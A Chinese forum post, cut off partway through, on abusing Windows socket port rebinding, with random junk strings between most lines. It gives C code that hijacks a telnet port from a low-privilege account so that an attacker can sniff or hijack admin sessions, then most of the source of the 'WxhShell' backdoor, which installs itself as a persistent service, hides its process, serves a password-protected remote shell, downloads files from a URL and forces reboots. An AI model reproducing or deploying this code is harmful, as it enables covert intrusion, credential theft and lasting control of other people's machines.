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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]J5[ZVz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Apa)qRJd  
;)u}`4~L  
  saddr.sin_family = AF_INET; el;^cMY  
Ajs<a(,6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -TjYQ  
eLL> ThMyW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); yL_-w/a  
$6Nm`[V  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $/Zsy6q:  
zf5s\w.4  
  这意味着什么?意味着可以进行如下的攻击: _+wv3? c"  
8Rc4+g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FWq 6e,  
0r_8/|N#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /^P^K  
MS_&;2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X+?*Tw!\  
B#B$w_z  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  J55K+  
zTAt% w5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Haaungb"  
<@A/`3_O)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L!3{ASIN0  
cx1U6A+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mhnD1}9,Ih  
`0=0IPVd  
  #include |.*),t3 (w  
  #include gmj a2F,  
  #include HJ !)D~M{  
  #include    zVGjXuNa  
  DWORD WINAPI ClientThread(LPVOID lpParam);   42Tjbten_u  
  int main() ]Qkto4DQ5  
  { !5? #^q  
  WORD wVersionRequested; [j 'Ogm7"  
  DWORD ret; jF Bq>  
  WSADATA wsaData; bqsb (C  
  BOOL val; d[kb]lC  
  SOCKADDR_IN saddr; *P61q\2Z  
  SOCKADDR_IN scaddr; yodJGGAzk  
  int err; 4+$<G/K  
  SOCKET s; ;=5V)1~i1;  
  SOCKET sc; 9hmCvQgtf  
  int caddsize;  ^G~W}z?-  
  HANDLE mt; xX{uDMYa;  
  DWORD tid;   ]6pxd \Q  
  wVersionRequested = MAKEWORD( 2, 2 ); =yz#L@\!  
  err = WSAStartup( wVersionRequested, &wsaData );  !|9$  
  if ( err != 0 ) { (W5E\hjJ  
  printf("error!WSAStartup failed!\n"); Y)hLu:P]  
  return -1; Q7N4@w;e  
  } w> IkC+.?  
  saddr.sin_family = AF_INET; Q2Yv8q_}Uq  
   &A*oQ3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 LJc w->  
K.*?\)&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); N`8!h:yL  
  saddr.sin_port = htons(23); ^t*+hFEI  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C$"jZcm,I  
  { v|?hc'Fj  
  printf("error!socket failed!\n"); nxsQDw\hy  
  return -1; 3+EJ%  
  } v@XQ)95]F  
  val = TRUE; bL)g+<:F  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #h6(DuViKw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;}A#ws_CD_  
  { ]vXIj0:  
  printf("error!setsockopt failed!\n"); ]n _-  
  return -1; PUltn}M  
  } #Vs/1y`()  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3${?!OC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 E&{*{u4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `y P-,lA$  
"f!*%SR: 1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c72Oy+#  
  { q-o=lU"  
  ret=GetLastError(); #_2V@F+,  
  printf("error!bind failed!\n"); $\81WsL '  
  return -1; Eh!%Ne O  
  } AU^Wy|i5Q  
  listen(s,2); umcbIi('  
  while(1) $- =aqUU  
  { HoH3.AY X  
  caddsize = sizeof(scaddr); @Sq=#f/=  
  //接受连接请求 7@fd[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6N~ jt  
  if(sc!=INVALID_SOCKET) ~_8Ve\Y^/  
  { B 0 K2Uw  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); at,Xad\j  
  if(mt==NULL) tPO.^  
  { ?9H7Twi+T  
  printf("Thread Creat Failed!\n"); **_VNDK+  
  break; |GdA0y\v*}  
  } +A~lPXAXW  
  } #xW%RF  
  CloseHandle(mt); 'x+0 yd  
  } 2}$Vi$ R  
  closesocket(s); c`doR(oZ  
  WSACleanup(); **! lV]/  
  return 0; +GP"9S2%R  
  }   X-:Ni_O\ty  
  DWORD WINAPI ClientThread(LPVOID lpParam) M\\TQ(B  
  { 2Mu-c:1  
  SOCKET ss = (SOCKET)lpParam; Ef%8+_  
  SOCKET sc; iN`/pW/JE  
  unsigned char buf[4096]; EOtrrfT&  
  SOCKADDR_IN saddr; Pk8L- [&v  
  long num; 2*K0~ b`  
  DWORD val; 0qG[hxt%  
  DWORD ret; ^>%=/RX  
  //如果是隐藏端口应用的话,可以在此处加一些判断  KS*W<_I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *n}9_V%  
  saddr.sin_family = AF_INET; j@GMZz<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i$"FUC~'  
  saddr.sin_port = htons(23); & \<RVE  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B susXW$  
  { PO&xi9_  
  printf("error!socket failed!\n"); ?z:xQ*#X  
  return -1; k\ I$ve"*  
  } ~gI%   
  val = 100; w2+RX-6Ie  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gvoK  
  { *9PS2*n  
  ret = GetLastError(); hXz"}X n  
  return -1; 9?,n+  
  } B1nb23SY T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B{)Du :)  
  { h@{@OAu?  
  ret = GetLastError(); D cus-,u~  
  return -1; hp,T(D|  
  } c}QQ8'_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u52; )"&=)  
  { ,l0s(Cg  
  printf("error!socket connect failed!\n"); *2:)Rf  
  closesocket(sc); \F1n Ej  
  closesocket(ss); F6%rH$aS  
  return -1; 8$G$Rdn  
  } m.V mS7_I  
  while(1) jDXmre?  
  { ioa 1n=j  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 cst=ms  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #(  kT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /f# rN_4  
  num = recv(ss,buf,4096,0); zcxG%? Q  
  if(num>0) PY>j?otD  
  send(sc,buf,num,0); D(h|r^5  
  else if(num==0) ?nt6vqaV  
  break; C{2 UPG4x  
  num = recv(sc,buf,4096,0); @&EP& $*  
  if(num>0) m|f|u3'z$  
  send(ss,buf,num,0); %H}+'.8  
  else if(num==0) YO,GZD`-o  
  break; .Dx]wv  
  } pAa{,,Qc  
  closesocket(ss); .pdgRjlSn  
  closesocket(sc); _@^msyoq  
  return 0 ; HuK'tU#  
  } x`o_&09;CG  
~?L. n:wu  
=3( ZUV X  
========================================================== D2?7=5DgS  
Wg$MKc9Vy[  
下边附上一个代码,,WXhSHELL |faXl3|  
.d8~]@U!<  
========================================================== %*s[s0$c  
#MBYa&Tw7  
#include "stdafx.h" ^T<<F}@q  
] xH `  
#include <stdio.h> FvvF4 ,e5  
#include <string.h> U#Z}a d?VX  
#include <windows.h> ^(6.M\Q  
#include <winsock2.h> TI*uNS;-  
#include <winsvc.h> R_H di~ k  
#include <urlmon.h> Y)!5Z.K  
tZ6KU11O  
#pragma comment (lib, "Ws2_32.lib") U| y+k`  
#pragma comment (lib, "urlmon.lib") zb9$  
)fC^h=Qp  
#define MAX_USER   100 // 最大客户端连接数 9pk<=F  
#define BUF_SOCK   200 // sock buffer a"ht\v}1  
#define KEY_BUFF   255 // 输入 buffer :ox+WY  
H>W A?4  
#define REBOOT     0   // 重启 :Tjo+vw7$H  
#define SHUTDOWN   1   // 关机 PVU(R J  
N 2x\O~7  
#define DEF_PORT   5000 // 监听端口 \Mi y+<8$  
~s88JLw%&u  
#define REG_LEN     16   // 注册表键长度 D+k5e=  
#define SVC_LEN     80   // NT服务名长度 m"xw5aa>  
@=@WRPGM*9  
// 从dll定义API jT'1k[vJj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O@EpRg1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % +eZ U)N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !qy/'v4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )WBTqML[  
 C9*'.~  
// wxhshell配置信息 VV?KJz=,W=  
struct WSCFG { tTP"*Bb  
  int ws_port;         // 监听端口 %pV/(/Q  
  char ws_passstr[REG_LEN]; // 口令 n*'|7#;  
  int ws_autoins;       // 安装标记, 1=yes 0=no W**a\[~$  
  char ws_regname[REG_LEN]; // 注册表键名 \]o#tYN\a0  
  char ws_svcname[REG_LEN]; // 服务名  G#K=n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Qs*g)Yr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Y.=v!*p?}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~KCOCtiD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o,u-%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q;`#ujxL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p5Y"W(5_  
r6j 3A  
}; 5]gd,&^?>  
^ b}_[B  
// default Wxhshell configuration qL3*H\9N  
struct WSCFG wscfg={DEF_PORT, jYuH zf  
    "xuhuanlingzhe",  &grT}  
    1, H{9di\xnEm  
    "Wxhshell", Oi=kL{DG:s  
    "Wxhshell", VBsS1!g  
            "WxhShell Service", O~w&4F;{  
    "Wrsky Windows CmdShell Service", &s\w: 9In  
    "Please Input Your Password: ", Lymy/9  
  1, Ga$+x++'*  
  "http://www.wrsky.com/wxhshell.exe", KLlW\MF1  
  "Wxhshell.exe" *qGxQ?/  
    }; j@Z4(X L  
$\{@wL  
// 消息定义模块 lS9rgq<n  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P b2exS(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p]IF=~b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i!jx jP  
char *msg_ws_ext="\n\rExit."; |WlWZ8]  
char *msg_ws_end="\n\rQuit."; ~x`OCii  
char *msg_ws_boot="\n\rReboot..."; IU/dY`J1  
char *msg_ws_poff="\n\rShutdown..."; vJ }^ p }  
char *msg_ws_down="\n\rSave to "; ;aWH`^{i  
hcwKi  
char *msg_ws_err="\n\rErr!"; LbvnV~S  
char *msg_ws_ok="\n\rOK!"; V% psaT=)P  
g/'MECB  
char ExeFile[MAX_PATH]; hb zU?_}  
int nUser = 0; a\aJw[d{  
HANDLE handles[MAX_USER]; # (T  
int OsIsNt; ti3T ?_  
g!cTG-bh>J  
SERVICE_STATUS       serviceStatus; TDk'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iIA&\'|;i  
M-"%4^8_  
// 函数声明 jBarYg  
int Install(void); -T`rk~A9A  
int Uninstall(void); vG69z&  
int DownloadFile(char *sURL, SOCKET wsh); 8"Hy'JA$O  
int Boot(int flag); {Jwh .bJ  
void HideProc(void); ( {5LB4  
int GetOsVer(void); f9F@G&&Ugg  
int Wxhshell(SOCKET wsl); [C9->`(`  
void TalkWithClient(void *cs); ON\_9\kv  
int CmdShell(SOCKET sock); x{j|Tf3,G  
int StartFromService(void); J9zSBsp_  
int StartWxhshell(LPSTR lpCmdLine); % sbDH  
nB WVG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p,Qr9p3y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ab: yH ')  
c54oQ1Q&"  
// 数据结构和表定义 j0~]o})@i  
SERVICE_TABLE_ENTRY DispatchTable[] = r|:i: ii  
{ U;Y{=07a@  
{wscfg.ws_svcname, NTServiceMain}, 3g`uLA X>u  
{NULL, NULL} :q<8:,rP  
}; I|@%|sTW  
aI{Ehbf=  
// 自我安装 oMM`7wJw  
int Install(void) {+F/lN@  
{ -uHD| }  
  char svExeFile[MAX_PATH]; I>B-[QEC  
  HKEY key; 4U*J{''L  
  strcpy(svExeFile,ExeFile); 2I* 7?`  
Q &<:W4N*  
// 如果是win9x系统,修改注册表设为自启动 540-lMe  
if(!OsIsNt) { J 6D?$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D4$;jz,,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?<STt 9  
  RegCloseKey(key); 4#1[i|:M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -1 ;BwlL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !X[b 4p  
  RegCloseKey(key); 6*J`2U9Q  
  return 0; 3pl/k T.\  
    } !ZJ" lm  
  } B\G?dmo  
} imv[xBA(d  
else { `lX |yy"  
/GD4GWv :  
// 如果是NT以上系统,安装为系统服务 yZj:Kp+7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =* oFs|v  
if (schSCManager!=0) zxTcjC)y  
{ ^2rNty,nH  
  SC_HANDLE schService = CreateService s`B]+  
  ( !`LaX!bmp  
  schSCManager, 4C\>JGZvq  
  wscfg.ws_svcname, }(4U7Ac  
  wscfg.ws_svcdisp, ]h3<r8D_#  
  SERVICE_ALL_ACCESS, $!)Sgb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x DD3Y{ K  
  SERVICE_AUTO_START, t;!v jac  
  SERVICE_ERROR_NORMAL, o{f|==<t3#  
  svExeFile, ACxOC2\n  
  NULL, q|;_G#4  
  NULL, "l&=a1l  
  NULL, 8QDs4Bv|  
  NULL, TPH`{  
  NULL ViIt 'WX  
  ); $hZb<Xz  
  if (schService!=0) `$vTGkGpY  
  { ~8L*N>Y  
  CloseServiceHandle(schService); osPJ%I`^  
  CloseServiceHandle(schSCManager); qpjtF'  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aw&:$twbM  
  strcat(svExeFile,wscfg.ws_svcname); :8\!;!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,K'>s<}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y !)  
  RegCloseKey(key); YNyaz\L  
  return 0; |WqEJ*$,  
    } +LuGjDn0  
  } EhL 8rR  
  CloseServiceHandle(schSCManager); ofH=h  
} ^m8T$^z>  
} :iqFC >D  
&7"a.&*9xX  
return 1; /T1z z2l~  
} a+sHW<QeS  
 AV{3f`  
// 自我卸载 J6J[\  
int Uninstall(void) Ysbd4 rN  
{ $fES06%  
  HKEY key; AlT41v~6  
3C'`K ,  
if(!OsIsNt) { o8Vtxnkg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u>SGa @R)  
  RegDeleteValue(key,wscfg.ws_regname); ChO?Lm$y  
  RegCloseKey(key); uTTM%-DMHT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wTb7 xBI  
  RegDeleteValue(key,wscfg.ws_regname); Whp;wAz  
  RegCloseKey(key); B7BXS*_b  
  return 0; s3@sX_2  
  } E^B*:w3  
} H<T9$7Yr%r  
} {C3AxK0  
else { [- C -+jC  
\i_y(;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )NAC9:8!  
if (schSCManager!=0) GG%X1c8K  
{ {uH 4j4)2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \9k$pC+l  
  if (schService!=0) l`=).k   
  { 65X31vU  
  if(DeleteService(schService)!=0) { jR-DH]@y  
  CloseServiceHandle(schService); l}odW  
  CloseServiceHandle(schSCManager);  t9T3e  
  return 0; Hbwjs?Vq?]  
  } >`L)E,=/  
  CloseServiceHandle(schService); ."b=dkx  
  } $Lg% CY  
  CloseServiceHandle(schSCManager); %{qJkjG  
} NJK?5{H'  
} %.^8&4$+  
=qPk'n9i8  
return 1; Q-;ltJ  
} N5 ITb0Tv  
}%LwaRT  
// 从指定url下载文件 `~|8eKFq!  
int DownloadFile(char *sURL, SOCKET wsh) E/ %S0  
{ tk3%0XZH  
  HRESULT hr; j$r.&,m  
char seps[]= "/"; B198_T!  
char *token; +bK[3KG4F5  
char *file; f5D.wSY  
char myURL[MAX_PATH]; [)UF@Sq4+Q  
char myFILE[MAX_PATH]; xHEkmL`)4  
Ch-56   
strcpy(myURL,sURL); ;4. D%  
  token=strtok(myURL,seps); <K4`GT"n  
  while(token!=NULL) rx`G* k{X  
  { L-ans2?  
    file=token; b(&~f@% |  
  token=strtok(NULL,seps); +LddW0h+=8  
  } #:Z"V8n'  
XgY( Vv  
GetCurrentDirectory(MAX_PATH,myFILE); sX53(|?*  
strcat(myFILE, "\\"); hCRW0 I  
strcat(myFILE, file); pl62mp!  
  send(wsh,myFILE,strlen(myFILE),0); [XFZ2'OO  
send(wsh,"...",3,0); 1o)Vzv  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SR>Sq2cW0  
  if(hr==S_OK) .gUceXWH3  
return 0; z{T2! w~[  
else e  iS~*@  
return 1; x" 21 Jh  
~/?JRL=  
}  |F5^mpU  
L8-  
// 系统电源模块 _nu %`?Va  
int Boot(int flag) _i [.5  
{ pAg;Rib  
  HANDLE hToken; *0bbSw1kc  
  TOKEN_PRIVILEGES tkp; "aNl2T  
Yo0%5 noz  
  if(OsIsNt) { 7Cf%v`B4D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FI@2K M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^9T6Ix{=  
    tkp.PrivilegeCount = 1; EFeGxM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !NuYx9L?L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -x )(2|  
if(flag==REBOOT) { c)Ft#vzg&e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kf~71G+  
  return 0; _DfI78`(  
} 5vIuH+0  
else { 1xK'T_[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0@a6r=`el  
  return 0; \phG$4(7+  
} ll;#4~iA  
  } #|^7{TN   
  else { 5r/QPJ<h  
if(flag==REBOOT) { 6suB!XF;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z5~dU{XsT  
  return 0; WH :+HNl1d  
} L;.6j*E*  
else { X70vDoW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~h-G  
  return 0; =0xuH>WY}w  
} b!hxx Z  
} 6$wS7Cu  
ko!38BH`/  
return 1; qS{lay  
} s%]-Sw9  
z.23i^Q  
// win9x进程隐藏模块 xXO& -v{  
void HideProc(void) Lc^nNUzPo  
{ $I_ 04k#t  
[ d<|Cde  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HC w$v#  
  if ( hKernel != NULL ) >j?5MIm03  
  { E*Vx^k$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); YlOYgr^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4@#1G*OO  
    FreeLibrary(hKernel); k1 >%wR  
  } RhyI\(Z2q  
,G1|] ~  
return; Y">tfLIL_  
} |w[}\#2  
R@>R@V>c  
// 获取操作系统版本 [a;lYsOsJ  
int GetOsVer(void) )Y~q6D K  
{ hXS'*vO"  
  OSVERSIONINFO winfo; bf3LNV|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "n '*_rh>+  
  GetVersionEx(&winfo); G/(oQA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fT._Os?i  
  return 1; ,IuO;UV#)  
  else &dvJg  
  return 0; 7=om /  
} x[nv+n ,  
[.<nt:  
// 客户端句柄模块 $Z 10Zf=  
int Wxhshell(SOCKET wsl) .&7=ZY>E  
{ U._ U!U  
  SOCKET wsh; M@!Gk  
  struct sockaddr_in client; ]Ke|wRQD  
  DWORD myID; k}>l+_*+7  
05*_h0}  
  while(nUser<MAX_USER) v)N6ZOj*C  
{ i#lvt#2J0  
  int nSize=sizeof(client); w;H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); wO} 3i6  
  if(wsh==INVALID_SOCKET) return 1; c%pW'UE&  
C Cq<y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K1O/>dN_\O  
if(handles[nUser]==0) 9YHSL[  
  closesocket(wsh); SfJ/(q  
else k;zb q  
  nUser++; 2EE/xnwX  
  } F)e*w:D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "+nURdicO  
l=9 &  
  return 0; !dhZs?/UI  
} f;u;hQxs  
*-+~H1tP  
// 关闭 socket pzU">)  
void CloseIt(SOCKET wsh) .j88=t0  
{ 9ciL<'H\  
closesocket(wsh); TOMvJ>bF  
nUser--; ^ bM;C_<$f  
ExitThread(0); e/;Ui  
} Kox~k?JK  
yF0,}  
// 客户端请求句柄 Z+t?ah00  
void TalkWithClient(void *cs) c'`7p/l.  
{ | nry^zb  
n4."}DO  
  SOCKET wsh=(SOCKET)cs; "G6d'xkP  
  char pwd[SVC_LEN]; Bo%M-Gmu  
  char cmd[KEY_BUFF]; BqZLqGO Ku  
char chr[1]; 3=bzIU  
int i,j; ' 1P_*  
I4|p;\`fK  
  while (nUser < MAX_USER) { cIM5;"gLP  
vp mSzh  
if(wscfg.ws_passstr) { .v1rrH?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h:bs/q+-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WtRy~5A2  
  //ZeroMemory(pwd,KEY_BUFF); $<s@S;Ri  
      i=0; m}uF&|5  
  while(i<SVC_LEN) { E=s`$ A  
,7%(Jj$ ^  
  // 设置超时 y_$^Po  
  fd_set FdRead; L6 _Sc-sU  
  struct timeval TimeOut; ;k/0N~  
  FD_ZERO(&FdRead); P\zi:]h[Gh  
  FD_SET(wsh,&FdRead); n+uq|sYVa  
  TimeOut.tv_sec=8; )1x333.[c  
  TimeOut.tv_usec=0; 0l 3RwWj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4QI vxH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $ @1&G~x  
`SW`d<+L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eHnC^W}|s  
  pwd=chr[0]; 82/iVm1  
  if(chr[0]==0xd || chr[0]==0xa) { K=(&iq!VO  
  pwd=0; }|SVt`n  
  break; STOE=TC>  
  } Q^39Wk@  
  i++; IwH ,g^0\  
    } Jb tbW &EH  
GtGToI  
  // 如果是非法用户,关闭 socket R:ar85F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q"5 2-42  
} tQl=  
q0c)pxD%`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i;dr(c/ft  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,MvvW{EY  
MPL2#YU/a  
while(1) { 1}ToR=  
\'p7,F{:>5  
  ZeroMemory(cmd,KEY_BUFF); W}=2?vHV=  
EvECA,!i  
      // 自动支持客户端 telnet标准   y4?>5{`W  
  j=0; R,^FJ  
  while(j<KEY_BUFF) { ,*lK4 ?v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *@BBlkcx  
  cmd[j]=chr[0]; (Q&z1XK3  
  if(chr[0]==0xa || chr[0]==0xd) { /:USpuu  
  cmd[j]=0; 'Gt`3qG  
  break; =G72`]#-  
  } cxv) LOl-  
  j++; pEaH^(I*  
    } }oU&J81  
S7SPc   
  // 下载文件 (6A{6_p  
  if(strstr(cmd,"http://")) { rpXw 8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rvfl~<G*  
  if(DownloadFile(cmd,wsh)) Z'j<wRf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *l9Y]hinq  
  else d*AV(g#B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1)Ag|4  
  } x NC>m&T  
  else { ;;`KkNys m  
<_Lo3WGwc  
    switch(cmd[0]) { )eG&"3kFe!  
  oDP|>yXC)  
  // 帮助 }`g*pp*  
  case '?': { Anm5Cvt;i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ux<h` s  
    break; 3&*%>)  
  } Rd!.8K[  
  // 安装 n&Tv]-  
  case 'i': { .ev]tu2N  
    if(Install()) #]'V#[;~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [a Z)*L ;  
    else M1>a,va8Zq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "bO]  
    break; vaU7tJ:  
    } +I~?8*  
  // 卸载 rLXn35O  
  case 'r': { x-QP+M`Pu  
    if(Uninstall()) >L(F{c:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZuhT \l  
    else tO0+~Wm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }hf*Jw  
    break; G?g7G,|d  
    } Z:OO|x  
  // 显示 wxhshell 所在路径 KWYG\#S0]  
  case 'p': { ^49moC-  
    char svExeFile[MAX_PATH]; 8]L.E  
    strcpy(svExeFile,"\n\r"); R.QcXz?d  
      strcat(svExeFile,ExeFile); ?t"PawBWE  
        send(wsh,svExeFile,strlen(svExeFile),0); 3HiW1*5W  
    break; lt]U?VZ   
    } QRjt.Ry|  
  // 重启 t2gjhn^p  
  case 'b': { e8#3Y+Tc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \r 2qH0B  
    if(Boot(REBOOT)) 2u:j6ic  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ue7W&N^E  
    else { .`p_vS9  
    closesocket(wsh); oF^BJ8%Lm  
    ExitThread(0); g:)v thOs  
    } +Oscy-;  
    break; 1W8W/Y=hT  
    } :Ry 24X  
  // 关机 %qHT!aP  
  case 'd': { =V , _  
